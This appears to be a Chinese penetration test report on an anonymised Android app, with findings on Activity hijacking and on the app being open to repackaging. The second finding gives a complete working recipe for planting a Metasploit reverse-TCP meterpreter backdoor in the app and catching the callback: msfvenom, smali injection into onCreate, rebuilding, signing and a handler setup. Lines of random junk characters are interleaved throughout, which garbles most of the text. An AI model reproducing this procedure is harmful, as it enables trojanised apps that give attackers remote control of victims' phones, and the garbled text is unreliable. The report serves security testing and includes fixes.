) a% i4 P' z1 }1 w8 A
1 N4 [/ y0 d. x" w
# g1 t% S4 Y0 [* ^2 ?
" A2 f% j" R, z. Z$ k' q/ [& w8 V% m* t- s# U# V9 m( h; y
, {% b5 |5 `6 _ k( \' o
8 _' B6 O! z, y1 h0 I8 \0 o8 r 5 o6 M* s$ y1 H! {! x+ z
' J @2 O7 _1 `7 i4 _
3 \6 f0 b+ U% U6 `4 B( B% V
+ z3 t$ p; t1 [0 F1 p3 x/ {
/ | G1 G# e) @2 m: @7 D- D5 \5 r% U0 G6 n
表1-2 测试结果
: T# j0 [+ O" U$ h0 l0 U( {# X6 G* W" ]6 C, m& g" C: y
/ D9 Y3 g' }: d2 E8 W @: f" W6 O) n) _9 V
$ s' y0 Y# Q% B$ P$ w
6 f4 Y* [2 P8 M i3 a
* [. E# @* I7 m' \3 S
) Z& c' i. y# }4 s
* W% `! u3 G& q. t! C! l
. p' u6 ~ ~6 a" s! ]( h
/ |6 g+ k; Q/ f7 ^
4 r( H( i3 |" a6 Q# K 2 检测结果
! |+ s: ~/ D4 `
5 g" ]4 k/ X, O H3 J4 R' f7 D
* T* M* v7 R6 ^8 g* \
1 j7 W+ N; Z/ O' @# _ 0 z7 N: B% F: K2 m8 D
+ m! `2 ~. V# H% l+ F4 z: A
2.1 某某某
$ S% d) G" d( }9 T) p" \. k6 R$ _8 r- F* m6 s# x1 H
' S8 M! V$ o$ n- m5 U+ r
9 b+ g, C% C u( r" q" d$ _" _
3 u" V7 c8 s. N/ R' k$ t
% I+ j1 W9 h) d 2.1.1检测目标
4 w8 w0 G n' e; ~! @% v3 _% Z) y2 c2 ^7 ?: Y6 M4 w
2 I1 S* l: k" s7 B) m; {8 ?" E* N8 H0 {/ W2 A
+ }* r/ E w! `
) j& o8 P+ D' L
目标地址: 某某某某某某APP
+ @5 `* \& a# Y! w( }: v! c; H" x. l, |# @7 v$ v D
- l0 i' H Y' d) B- c8 @6 F/ h# f. V( j& A; I3 G
9 M6 Y5 Q/ f6 D" |: S* F5 x, C0 }* ~# Q7 V8 p) N8 ]
2.1.2检测结果
; |: w/ P) e' r- y" g
7 U/ Y6 u& u" w6 V$ D3 W
2 C+ O, \8 B' m+ c( h
$ \9 A# C) ?* @5 C1 p, p$ @
0 j) x5 Y: l) E6 d. N
5 H! D A% k3 ~( A) N0 w+ }& p3 P2 C 2.1.2.1
7 C1 b. }" n# M1 p, D* k6 ^$ Z3 O* s8 z: N6 E9 x* a. p
0 \: a1 u+ m7 v) v: j3 M8 X
" f+ m) X# s2 s4 E U
) h* k" s5 c. z
- \ b1 d) u! ?+ ] 漏洞链接地址:某某某某某某APP * F/ ?; N' F) [7 R
" Z. J. j+ [6 r% v$ h
! I$ I3 C7 g+ @+ K6 [+ J) l$ k" C3 S2 ?9 i" N+ q
; \ m$ f3 k5 f9 B" d3 ?' C
( o- ]1 P: Z' Y+ _
; m7 z+ c$ G" R& u2 o' d4 x* w4 H6 T1 u6 T+ F. j A) {4 Y
& _: w$ A3 g$ y! |/ ~& J6 v
! a& w4 A/ D' a, K$ \. ~
! o o( S3 x: V! Q8 X. \, {& Z0 ]; r3 r Z' b
漏洞分析及取证: : o; D4 R) X9 a2 G
% ?% b( @+ D$ c u) v( e/ o
% p* S7 c. [: A
; p& y: A6 [1 E( u; r3 f
! s, f4 @& `4 S5 ^9 ~3 {
2 J) M0 S! V/ I% p/ o/ |+ B# m
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: U) _3 o3 Z. j9 X1 G- `8 t
- t) U% q" l: [+ x; \
" X7 p1 e. t7 ~ I6 R+ ]
4 ^; Y& K' W% J; I1 M3 R$ a
* J# m* M( L% h0 P
. W6 K/ ?5 r2 z9 V+ ^; p8 b5 N
' x$ s/ G, P. ^, S) }0 n
3 S) L) i, Z" R$ l$ E
: @" E- n! [6 J) _8 g' `7 M6 O1 ]
: a. ~7 Y# F6 k4 [' R- X+ I 3 K6 P3 J, G5 Q; K, l% U; A7 C
, J" N0 F8 U0 c3 R, }1 J 5 i3 r; |- q4 T0 t2 N$ i$ ?
r% s( A( {4 U
+ A( O! d2 x7 S
0 U5 \1 Z5 f" T; r% P6 [
b: W9 |& {5 O) {) [' S4 E8 B0 k
4 I: C5 I5 N; T: t/ L
# B7 q, T# H: c8 i5 T/ e
4 N6 Q$ y0 M, j; K3 O3 x1 P
) W# ~* S4 K+ L. a6 ]
k7 M# j2 ]1 e$ c % f( A8 L% U( |7 a# n: ?
- z) i3 r, ^ j$ y4 k1 f
6 j5 ^+ b% Z) J) y
! R, J+ d5 a/ a0 N$ [* u
: \$ ?6 Q% `- P6 ^$ x
6 d1 ]1 ]8 i$ f6 g: L* e
& w4 |" v/ X6 _) R: N
0 b; o0 F& e1 a4 m& p7 Y% \7 |6 d5 \
1 Z3 ], q$ w1 c8 p8 m( ^- N
z% a3 |) z2 h0 f
5 d1 y) V2 E" D6 J) ]
% O; P& Q3 r. _1 p! J 6 U! h6 w' q$ I, L% N: P0 |# E P
# X- F1 ~( g; w* V
漏洞危害:高
' G" H A" u) ` R- w
. } @( s: G/ [; Y% A; o0 Q' _
4 Y7 ?( n* W- a) W) U. O$ y; s7 Y! G( w# E9 ]4 A4 v
/ x0 A0 N* n: o" w9 f, |
8 G* I3 Z* E- a" D8 F& U% S6 ~' f9 C! l- I
. g9 n3 ^( p" k+ g( k! U {+ a! f V' U- T* {2 f# E1 Z3 Z
" x" r: J, e2 f; E, G" Z6 X
1 p4 U) M5 a, V f, C , G- M$ G( H6 w5 R
: }& u+ U# R# A ]( w8 M0 R
7 \' g$ L5 t% a+ N4 I1 n+ B+ S: n$ C6 v* g8 T7 G
: g- u8 V+ s6 o# \
" t; k9 x5 r; T) E! u! D$ A 严重程度
c# z# X2 W* {# W4 p: ^) w1 I9 o( a, X: n
4 z! ~: c5 Z$ o7 B0 S
# F7 Z, u {0 o6 d1 H( @ i3 E/ o+ a* i4 Q
|
. f8 p4 z @( G" G2 h s) Z
2 `7 d' S+ d0 m) T l
3 O! A3 T3 t7 @) | p* ~8 S z5 a' ?" R3 L! s, `
( t/ n- j" v( @" }$ w
0 ~$ t/ ]2 s: I; F. i0 M 高 2 h. y% n9 Y7 K1 p8 t* \" d, P
4 _$ {. o8 B7 H- E" g: [+ l; @0 B4 a
9 V' A, J6 K E* Y6 a& R) g
1 e+ ]' r+ c7 e. s& T1 M% w4 D |
( ?) t% P# V# F4 s* p, Q: \- Q1 }: w, c
+ M4 N- w! y4 `) ]5 K
1 t7 S' P$ s# z * x R, q7 J; [- f1 Q% T5 E: Y
( \ w( k0 @( ^1 \+ W ?
■ & n" o9 |8 S5 ]0 N( n/ F4 X
; {3 H: k ~ S7 u5 ]$ p% j A ) B- |# ^: @ Q E
1 a+ O- z7 ~8 v1 N0 \; C
| 9 F8 g0 {* v8 }6 g% R1 L z
# _1 L5 U" h1 }9 c7 l) D + h. Q8 R6 N5 o- q2 E* \: x
& a3 r% r' O: M" d+ l4 @/ c0 A
' n4 }1 p- O/ s3 ?, Q2 F: ?; F8 A0 u" Y, n7 z
中 0 m/ `0 u: R* U( D) }+ c5 g1 h
% c: |9 C* ?/ [8 P/ Q- f
; r* T7 [" e( y2 l0 {
6 M# R! E, ]+ q1 o5 x( M4 u" X |
# v" E0 D7 M& D( R# z! X1 k* d0 r
' b, p+ k1 E6 O7 Y $ ~- z+ y" ?2 C. C6 O
: i- L G% q$ h1 O+ U' e: [
4 e3 W( j( [1 ]9 G: A
1 L% E& X# j# i$ u" U
! x) m- f# V2 i( U7 q: L: _
$ W- K# L2 A, T" U$ m ' y- S; V; X5 ~3 X' i" W0 {& ?) V
% q; O2 C4 d* C: [& S2 e u. i
| ; m' i7 n. }1 X# p2 Z8 q
0 \' x) I" [6 R+ T6 n ( `, Z6 K& l S. o# f
1 L- }' g7 w S' S. m0 l6 j
! F( G0 [5 h3 c$ x$ U+ R( {
' ?9 ~: a9 w1 \9 B6 l( g; T8 v 低 * ~3 S/ V" S; v; B
% w3 l7 H3 i: l4 {. s/ W $ K: W* p" a& {% a l! k+ j; x
, V6 V+ b4 q& Q& r
| 5 Y- B# E1 g e: i: d0 Q
) d' W1 m8 ?+ R
; T8 A2 t5 \+ v5 ?' r
% g$ ~% R4 I: |" H: a/ z8 Y
6 s' x3 J$ \1 ~6 `0 k
/ W* }9 D z$ q; z T) @
! _6 H) t/ ~. }. }) C
- R0 j" @" h2 w" g7 k5 M$ L R
# ~+ n) v8 b, { N9 f& ~
/ Y. Z. z* u V3 v# N |
_( ^! N! W6 A2 v) _2 I* f- r0 F$ n7 X. ]3 [: s: B3 G5 ?! `, i: @
' p: ?# Z9 f; O! t) G/ `
1 @# @. ~ W& N- i6 Y
& |9 p! y9 \' Y* S2 l7 P) P0 G& {: V' O7 n/ M& c: a' O+ ^
/ P) S8 H ^% H
8 r/ {3 Z* s9 d- C& \- H
- I, D4 w) C% G+ {- O/ r
3 I5 ]3 F+ S8 J) M, m0 C5 e2 T 2 P. z+ N2 A% x4 I
9 C$ H9 q5 F! p5 Z
/ d) |- T* r' E( s/ Z; K. c; l, w' X- r1 ~6 g
- `* Z2 |( Z% o( J1 I( I1 P- Z% N. K9 t( d
& S% m; {3 R$ n' W& c; R
* D1 Z3 K. Z3 M8 l 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 $ R" N% S# A2 r. r7 u
+ E9 r6 V0 a( F. l8 j7 x% i% x3 \
2 V" g5 Y2 w5 Y! m: Y" x
j$ }8 Q5 t9 b/ O
( Q) ~6 C0 e1 b+ x& j( M4 U2 B* m7 A
2 }- V, V( X' o6 v6 ?
" [! v( j o* q# I2 J8 T
0 Y T. t& ]7 B" ^0 e/ l: x! ^; H& h
/ i. T" N0 D( Z0 X7 [: o8 y
+ T* s5 Q! O. | H; L( D% L' s0 b
9 s( A, p" ?5 A; u" H3 Y/ p4 N
6 T- J$ V, v; G3 Y# N3 ^
3 U; a- U. M$ Z, z, l7 T
0 d) y3 J- t6 c2 @
0 [6 Y" m8 K. u8 l% _3 n. |% H4 h: a6 [6 Q+ I$ M
2.1.2.2 ( q+ S0 A8 p7 c# @, _
; ]6 C/ u; p* a7 U9 |- Z1 o" Q6 x
$ U4 d( n8 C' P5 p& P+ I" A6 Z6 a) B& ?
7 F" T9 ^ z# [6 r2 a! x4 h& H" [! j+ i% ~; S. T
漏洞链接地址:某某某某某某APP
! c3 Q, m, ^ |* r2 l- c# t
5 ?0 [, N( O1 A! e* k. ~
/ k' L" t4 v4 E. t# t ~$ G
* T# L: y! N7 `' P
+ B) Z# D" l: ?$ ]; N
. d& f" _6 J$ N& @0 O 漏洞分析及取证:
, L; |2 ^; v( |* X; t }! a1 j
5 t1 k5 g6 V3 R" t V$ F% P
9 o# i: f: \5 n& S' q
) {5 @: ` j a& [8 ?
4 U2 U0 [- p* ~0 J& H4 H) w4 ?2 H6 j" o
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
$ _+ @" ^" N: H$ J2 e" \3 W9 I' R0 e
8 J& x X4 @1 e, h# v+ O1 F$ L
" {0 k7 q8 _# N$ {7 `# K1 V
$ _0 y7 b# Z4 _' ~" w4 P5 s3 s/ M1 `- f4 n/ A# i
用Metasploit 生成木马 apk
: v, Y. u+ T2 {: H x& \6 n; |' ^ I F
* ~7 `8 {; Z" z* i N; g+ T9 L$ U4 @( O$ G
$ x1 b7 I+ |/ l2 n7 J
5 A1 a1 O6 _9 e! }3 I) o) F1 M
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
, Y& A3 ~- Y# o( b: a$ J' s
4 S/ d0 H% r# O$ N. E% @1 g
: _3 l7 F- N3 x% s
2 H. e, Y6 ?8 F3 ^( f4 _ * P+ B) F! I# l* }
; V6 V" H0 \# U4 y- E/ W6 ` 反编译目标apk和木马apk
& u2 t' Y7 \& H) e
% l a0 {( }& H6 w: E4 i
$ J1 a% A7 N) m3 u, o
9 i. b* y2 n- Y- u+ \ * g/ M \- @' D6 T- m" B; F; S" o) `
& M6 ?: i* k6 y; L apktool d target.apk
/ I' ^ m9 o3 Q/ v5 |# N- p: \3 z# ?- }
apktool d cockhorse.apk
/ g" r, x- X8 d/ N* d# n) G# }( C( a A# ]1 N% e2 S
) O" J* @$ C7 ^. S f/ T
0 z& _3 Q S# }3 T, c9 O% F( v
- q0 F+ {( S4 o+ |) w! C7 ^. `
8 |' z( j0 X- P2 N" D" I. l1 Z C 木马 apk 注入目标 apk
2 T8 A2 u5 P7 m4 h1 m( e2 h% s! J* D4 i8 |2 a' P' n
( E* E& f) k1 m- Y) i8 |, v
1 Z6 Y N9 o$ H; b! Y" J
8 L$ b8 M) Z+ \# M4 _7 t" P4 D; S
: K8 J: I/ D o# s3 }9 U 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
% T. {9 b" T9 E# F% @ V6 ~* i8 ?
& X' _" v" m9 D( P- D v
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ) a7 ?9 X; e) S9 _: @4 _
8 O$ L- [% h( E$ n+ m/ q
! E% D3 C' F' W! |: G
& o, ^( ^7 U" R
* e- G9 T- V6 t6 v4 t! P5 U/ t1 K7 M8 W! W( \
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 ! n. T& C: R) n0 j
# I. ^# y) \: n- ?
7 y2 A" n/ R: E, Z3 [
# }! S, c& Z+ M
y, o9 o% a; U$ i( k) m/ ^( R
/ U, L0 H/ [7 x e9 s7 S7 w 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ! p7 o# ~5 o- i( o5 i
$ U. U) T$ ~3 O4 Y# x
: z) K) v# _# Y* \8 A" a' m- m
- ?) Z2 u* y3 ~# r [1 f) y' C+ `% s7 r1 b
; G& t, B0 p% A% m 回编译生成最终 apk
4 Q4 V2 B) T/ d& X* |
0 h( j7 h9 G7 X; T1 W6 l# e
: q" W6 r! s; V6 z0 W# W8 a5 _7 W9 D' ]; \) q
* n; X8 V7 N7 O% k- z% X/ p
2 z4 ]) Z9 ^/ U9 B4 M6 a( Q 重新打包 8 r5 f0 n# j4 o% o
1 y. }" O. `/ q0 ?5 n
* x# H) S* F* `; k: U9 F" D$ @" x" b4 s6 [, K! ]
: l l( q- r& K( t
# @8 u7 d0 f* l f+ \6 u apktool b -o repackage.apk target_app_floder
}0 A' Y; k: _- V! Q) d
! ]9 \" v( L9 L; e
7 }3 U6 ], ~& L0 C1 w+ W" z' W
! G' Z% \- e7 G1 i" M7 d5 i 6 i6 N8 _) g1 ?* y. C
8 `8 F V, D* G' Y 创建签名文件,有的话可忽略此步骤 + z* b7 ~# R: R' I* C; ?
7 h" E3 `8 B2 |7 ~! S/ M
8 C* d4 A' E& J# [2 l
- `! F. l3 V: i& x8 G, ~. M" k
) K8 U& N! M9 v+ }
9 ], g- u% V+ [" v) [3 k
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
" V' W4 o2 h( R) D# E0 q0 `: d
1 A! u9 `. O2 V& P+ E- ]8 k u& m
% U& Z: u( u4 ^2 ]
) z( D) ~. Z0 A3 B6 Q6 J
7 N- `3 R& ?4 H: ^( R8 D: ?6 h( v; `
签名,以下任选其一
/ I( l. T2 a9 |; q
6 l3 G" l0 }7 ?& N
9 X% Q# f/ k# ^- A2 K2 D* S
- \- r- R5 v( I. U M% ^! _
; e7 G: u5 [$ H& @- E4 h
7 n' V# C' Z Q( A3 a7 z6 p1 ~ jarsigner 方式
5 [* w$ W# i( T* {- ^
4 S+ ^6 F7 e0 t$ K; I6 n; H
% I! C9 o' g: E1 t# b7 U2 A5 h1 G0 U9 i
. I+ Z4 } Q# D* r3 f5 @. S7 P
! \% `9 x7 L5 }9 ^7 E jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
3 \. T) y% m8 R) g/ S! P, m5 A. T1 x) ?- a4 H
) O: U: Z/ _# s6 R0 E# }0 \1 [
+ @( f5 L# N! K" E0 l& r
# R1 A1 `0 J- {; u# Q& Z; j- N
8 U6 V- N. u& v4 p/ {3 r2 l
apksigner 方式
" u( i" ?# k- T" ], q2 n2 N9 u- x- F1 e; D
" _$ C) x% M! n* A; @
4 {2 w5 w- i& Q# t. Q: A
* O0 z9 Y% A2 z o9 T/ f a) ~% s& w' q6 @9 \. n- a, n
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 9 q- y2 { n" M$ o
7 r3 x) z8 `' K* D0 g3 @. ?" G
5 W5 o: n) H- T% d; {7 W' w' Z. _
) P' u/ x- {# q; M" y+ i2 z
5 C" p9 Z% t1 V# s6 U+ L/ p
. s/ O$ n) M9 G, m 如需要禁用 v2签名 添加选项--v2-signing-enabled false ' L2 }! C) U. n4 }( ^
& n' C8 L. e4 w8 s6 n
: D. m |# q8 Q& ^ z) T, s# J+ W
; t) f! Q% g1 f; o
5 i3 {/ `( f8 M$ H7 a+ C
, o: i8 d; [/ g: r8 P+ O9 @ 验证,以下任选其一
* C! h. j8 b+ K: c. H) N9 S/ ]; q
2 _0 @: w& f- t- C L3 u4 q
n( o- Q7 q& t/ @2 d
: i, b" z8 X5 x% f& z9 y* J$ |0 X: Y+ M+ P S8 H3 V- _
jarsigner方式
1 p2 T- S m' M& v+ r( k! ], }8 H7 g9 w1 [
0 ~' Y) I4 e+ ~+ l
8 E, K; K% d. N
* ~) f" o! E# F( k. j' x5 r7 O
jarsigner -verify repackaged.apk ! ^, F( U* Y) b7 C0 @; b
8 O5 { W, p4 l0 Q7 G
d* {3 q: Y' \; x7 }8 B5 V+ J
P! i# N6 s' h( n
; M) y b1 w; L
2 Z. G$ P6 m0 J& \3 s3 b7 J
apksigner 方式
% f8 L/ ^6 B. L3 P
4 f! F& }/ z! O" u1 H
/ ]$ Z- I* t& c2 H3 @
# p- [7 Q8 E7 I1 d* B7 V: \4 Z
) o: c* Q1 a9 S' U$ O# O
- Q: W3 _" o% \ apksigner verify -v --print-certs repackaged.apk 4 n8 W7 J( A& V; C
% f/ s, z- ?; |5 ?! k0 N0 Q
$ e6 \4 K2 m R- b4 \0 r
& s& a2 U! w- J1 z" l5 f
: ^! A- F. ~ W5 k2 E, H: g/ v. z: Q
keytool方式 ! m, J# h: G7 F; A
/ A9 k: X$ B4 p' r b' T j
4 R! v+ j! x% c. ]: N5 u( e- E$ G
% q) B( i, H8 P- W. D( K0 B
& m# S. }7 b6 J, K* b9 W( R0 \
' X) Q3 C! r, P7 @; [ keytool -printcert -jarfile repackaged.apk
; q, D8 U$ p7 n4 o, J; ^
! C* y5 Z- l1 k3 J
$ T2 c2 g% R$ F" O/ j
. E; }- p$ P& b' \8 d2 F$ `" M 5 Q) @- R4 u% M7 o; H
4 D. x3 Z- J( n: g. \! H% y 对齐 : q" I; n9 C) o5 u& E3 Z
2 ?) k- F4 ]/ E8 Q+ Y2 K
+ b$ Z# |0 C } O$ r" O: \8 V# P W" C, W
; Y. {, X! y' w' S
9 o' w1 _6 q& `
字节对齐优化
* M0 d) N: Y& a* B' `. @" @
* }& z( k; E3 n5 y) r0 k
4 ?6 C7 ]: w8 J, V8 \0 f6 j9 \, J* r* D. D" E" i
2 p( i+ N3 q; r) w p" O
" }6 W! J9 v! D1 p zipalign -v 4 repackaged.apk final.apk
; V+ s( Y# ]$ T% Q
# d' a1 Z" ~3 w' S% v
8 ]4 O/ `8 j2 t# Y
1 t8 }- r! m* R! x 1 @( o5 @+ g2 w, [
* g& L9 d) z8 v' O! \ 检查是否对齐
! l( s! \$ @/ c% F( D$ F$ I
+ ~$ o8 N7 T. F/ t
1 q U4 n3 X; I: c# K
/ c+ r& z* d& z+ S6 F; o2 y' k' a, I
# j7 C {: H- c+ c* c: [
2 H4 V% z- Q9 ~9 {+ t5 w9 W zipalign -c -v 4 final.apk 2 r" W" O1 M2 K- W- |# R
6 b# c8 t! A" w# d* x& K% x
; g& P6 e- S2 Q* }9 A) L4 f2 Q
9 p8 l! v2 Q, _: l
T6 x% {1 a8 P8 a: [9 ~, o: b' s' B9 C$ r- L/ C% O; F2 [5 u" |* B
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
, g+ U- u; c ?! h: I/ Q, d
, E; c9 K% E; b, g. U
! a2 g4 a% l- q; Q! W$ N. Z9 R+ X5 j- Z% h( J! X* P P" U& X
; r) D$ E: v$ o3 s, M7 c
" `, C2 K% _8 A 启动Metasploit控制台,配置参数等待上线
, a( u1 n% G" P
; |4 T! n- B6 {" Y- q% K
: P$ I' Y+ A" Y' j4 ~5 z
; P' u( G' E% {9 k* d 1 U: d) x6 F! x' V! P& B' l% z3 b
9 T7 U5 p% a( n: a E 在终端依次输入如下命令
# Z5 @& F% n# _1 H4 ^/ U
" p& }/ u! E8 N6 C. P# l+ g F
0 F' O. F5 p+ l3 y/ N/ K% o1 [
3 ?4 l' V1 {9 J5 e+ w- Y3 O
6 P' i; e$ w' } y6 M' ~8 C& ^; u
- Z& H. B6 K$ r' k1 S+ y msfconsole
: K* U$ G3 @+ ~7 I8 i! T4 H9 V" v* ^: f4 C" `- t* c4 V
5 I4 p! W0 e f0 p" n7 K/ b
! |" e0 U) V' d% c5 }- T
( d( Z. c6 V2 w; f: Z) D( P5 R6 [. F) c# _5 D" I0 _9 I8 `# Z
use exploit/multi/handler 9 S$ h" U# m0 O; F
/ k9 U3 V5 L, c) Z9 y/ k7 N* o
$ F3 \3 H2 D, A; ^
p7 B$ }$ {- ~9 p! L6 L( n4 H - `2 r5 P( m$ W2 Z
" _- t/ B( G0 ~( K* ~, b8 z set PAYLOAD android/meterpreter/reverse_tcp
( R( t3 f9 L: [3 D- l3 l# U( k) Z& p
0 @# Y Z* y; i( B
+ ^, d! i! e6 }5 J" R
3 s1 O7 u9 F, X" o* Q 6 J% l, n1 ?: h& a8 p
8 T. j+ i$ r2 Y5 `1 ^* p' h set LHOST 192.xxx.xx.xx
3 R& h6 x. I5 e7 g3 f& p; J9 t3 T( ~
1 [) z, i6 r: W& Q
. y2 e6 S4 r( E0 G; ^0 O0 i
: ]" A V6 J& ]9 o8 t
* R! I& s, n* |' c9 f$ ?8 R- V
set LPORT 4444
5 c9 Z- u5 V* Y" [- `6 d7 t, ]
7 U' G! U u+ C, j( x( K5 @
# O$ v) _/ R/ Z- {7 s! A
9 S4 v; X' E0 e v( E
1 [9 b9 h& }+ j/ v9 D) m% k0 Y0 s2 }5 v0 A. J/ `5 m1 A/ ?) i& P
exploit
- S4 J8 r2 L- d
7 _- s" q, d3 _/ \/ F- U
2 x) N/ K8 v; d* |: ~3 U
1 Z: m M6 c9 }, N. { : F* C( r" a0 g; b$ N# D! |
* m% Q6 v- A5 E 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
& ^6 G3 {& j1 Z% F7 x' v. v6 A9 i3 Q, q
/ Z$ x) ~2 ^4 K& X/ h+ J3 K- J
! ~; ]' S% ^/ @, k7 Y
" O# E+ Q& ^& Y/ L 9 z* j# X; q' o& e5 @6 [. D2 S+ e/ a
+ P5 ]& ]0 u3 | ? 漏洞危害:中 " P- r/ d+ j9 I9 Q2 ~7 `8 O
( q5 G+ {- T0 Z; b
9 p* w' ]$ p7 |- ]) P0 ~2 O# H R( ^5 f5 P1 t
5 C2 c& d* f t! j
% C# u9 E4 M6 _' |# Y- i' z# i7 {
( [) o a) x" ?& R; n4 X
; y, j! N' e2 x% E- b 7 J8 Q; g/ e( s8 R3 K
0 ~9 j2 _3 r0 N9 x$ x1 B
* u! ` N" U& }2 B% k* N( R+ b! W; n1 Q" b, _; [
. _" G4 H" C. e; ?
5 C! A" ?% ]# d6 J: } 0 @$ y! T5 V6 M+ R2 `9 P; p* q
$ q j$ Z/ O' ]8 Z8 ^1 Q4 D1 f 5 E5 N/ a* j1 C% Z
! b3 z5 X1 `3 B( t$ n
严重程度 " V6 F4 }7 v$ P
/ a. n' A" M3 O* N) ]
! z+ b. ]- V5 J4 ~: X' V9 ~: m" |% F& U- k K0 x
|
1 Q/ A; T- I- M9 v* n6 H. k$ D
9 ?; Z+ N7 g2 ^+ Q; e5 W2 B
' `$ o" s+ o( r3 Z9 u- x0 Z' K1 {6 f6 C1 d5 B! Z& e
8 A% O6 j4 J6 l2 O$ c$ W; O6 ^$ _+ Q8 m2 A$ S1 g i
高
: f2 Y& J8 s0 A/ ]1 o! i* ?9 n( _$ |, O
" B6 S# P6 t' u" t% z( z
( o" T. s; Q9 W7 J; P( _5 P8 M0 I |
5 a5 ~9 `* V7 X5 `8 z: J5 H' |2 R Y* o7 R; `
7 f: b+ i6 v2 o9 \7 K6 o; G
, x& t9 p! i" H: Z8 D
! x) {7 l2 g" P: Y
9 F6 v+ B& f3 d) M/ X4 U2 z ■ " }, z6 d2 ^ M! ^
. R$ r# Q. O6 a% c# S# K+ |
. w0 @# t4 {; e0 H% J
a2 H0 X6 G/ P4 w/ W/ L4 v
|
, F! |3 G y+ e+ ~5 ^
6 b# q3 |: U* X( j
7 M2 h3 \1 C. N7 k
9 R- z6 ^! j9 t @3 A0 c. s5 K- k, n5 O1 k
6 J% k; g. \0 s- I8 X! O7 @ 中
o: x# x# h1 V; {4 C$ J6 I
2 C8 ^# L9 r' f) d+ O2 u
5 @ T H5 I9 ?3 h0 i& b2 \- J% L& F( _
|
+ l8 P. b* u% N
$ N+ E2 Z3 `) V8 L( A 5 t. s( l1 y& R6 L
$ V! _6 J" E. x6 s' N
4 o; A8 p) s! Y- u
" _0 d* z4 J6 p6 A6 b- ^/ I 1 N) y I1 L/ X4 M' I
}6 u8 s! f g# I
+ f0 Y4 x |, `7 B; _ ]3 F4 Y
' Y( O& Z3 a0 p5 B
; v0 h; M" ~; G5 V+ `* N N' E
0 z: B, z2 \6 E0 d | ! j$ R+ Y1 `/ @8 s/ C8 e
) D3 T3 y/ \0 u: D* k4 X
7 H/ _) t+ u0 p, m
* C- o- X. ^. ? r3 N ; G# X( F3 E1 A/ {. |/ S
; L+ }* L9 {7 \" m+ b) G% c 低 $ X. G/ g0 H+ q0 U
+ ^9 O, E- a$ o2 W
: h" [$ B( L; ?- Y. A' Z8 \
9 n) } D: `' M T" ]; Y | 0 j* `2 J; q% Z$ i" D I
& }2 ]; F2 F- E3 Y! p
1 t$ q- M" R6 A) v) t
' ~1 U/ R8 W5 n4 w
" k2 g5 i. D) S8 [8 X9 L" |* O1 v _! j/ F. e
( H, \5 ~, W' e& l$ v+ }/ U' D- }. d1 q
4 T# Z# V1 L3 p6 `. k$ `' ?* c% a9 }
+ `* x. i; e; b' Z3 q. A
# Y0 S1 N0 E7 `9 U* q) s% f
| * L5 g/ a: D6 f6 G
$ ?8 ^1 N$ j( p( x
8 W: E; r2 \ Z! q. a
- V# b; S+ Y- @+ A 2 k* b5 H1 z9 h, n
" S( r |: p& o
! r& n' P" F, E% d: E# \
Q, j) Q( F8 C& x# }8 e% F + W% [2 K: \" w T2 Z8 s4 e
4 z2 L, B+ t: m: }4 H/ C6 _3 G / U8 o! ?6 N) A; w
* H3 ~: P( q+ q8 \
^9 n" Q/ r' q4 Y/ o5 B, W
& }7 O+ s7 R- \. q3 o8 L |
% Q4 o* M# Q+ [0 P' D- F! ?: \2 @& p" o3 j' N8 ]7 p, R
+ F. {- L, Z# M. m+ @
1 W" U; q7 I; L0 j5 G; t
修复方法:
5 c/ t: I% H$ R2 ?# S; e
$ u' i. ] b) j
' Z3 a, ]9 [2 ^1 c
, I( }% {) E' A7 w* u0 R8 K9 G% p' M a ; X2 o. o# O0 p/ ?
T4 _; R4 J$ _/ a. ? 1.在 APP 启动时应做签名校验防止二次打包。
' T/ B% A/ n/ Q7 M1 ? [! k+ i
8 q* d# ~! |) ~* v 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
7 ~) ^" u2 ^- G- W% L: D% M! }0 S
5 \4 H/ B6 s% S& i' W! h+ V5 Q4 r
; v5 {+ r! K1 E& X( |' s1 r. H
$ T+ q' u8 @- c7 P/ x3 V
& o, T3 Q n& Z
0 T: i h: Q( j+ {$ ~; |' o! V+ \
5 o1 l) M3 p% N: [1 g8 c' d) R9 s# o) A* |( ?9 P# v
7 u3 v% Q) z* f5 N# w3 b
+ z3 N- K1 Q' ?1 V+ Q7 e4 B/ {" n9 s
; D5 v6 q c. i
( y X$ S, I& l1 F$ N8 \
! ^1 ?2 ^. z X4 O: `, ]4 N
& p: `/ U2 w8 }3 j4 O# [8 v
' W4 F1 {8 p0 W9 Q& p# g6 x5 j
" v, K) Z5 e; ?
( U% A1 A5 h3 \
) q# M/ |# e) I% h
+ q5 n! a' o [3 Q" u/ X9 j
) C# c" _' w0 h) i* q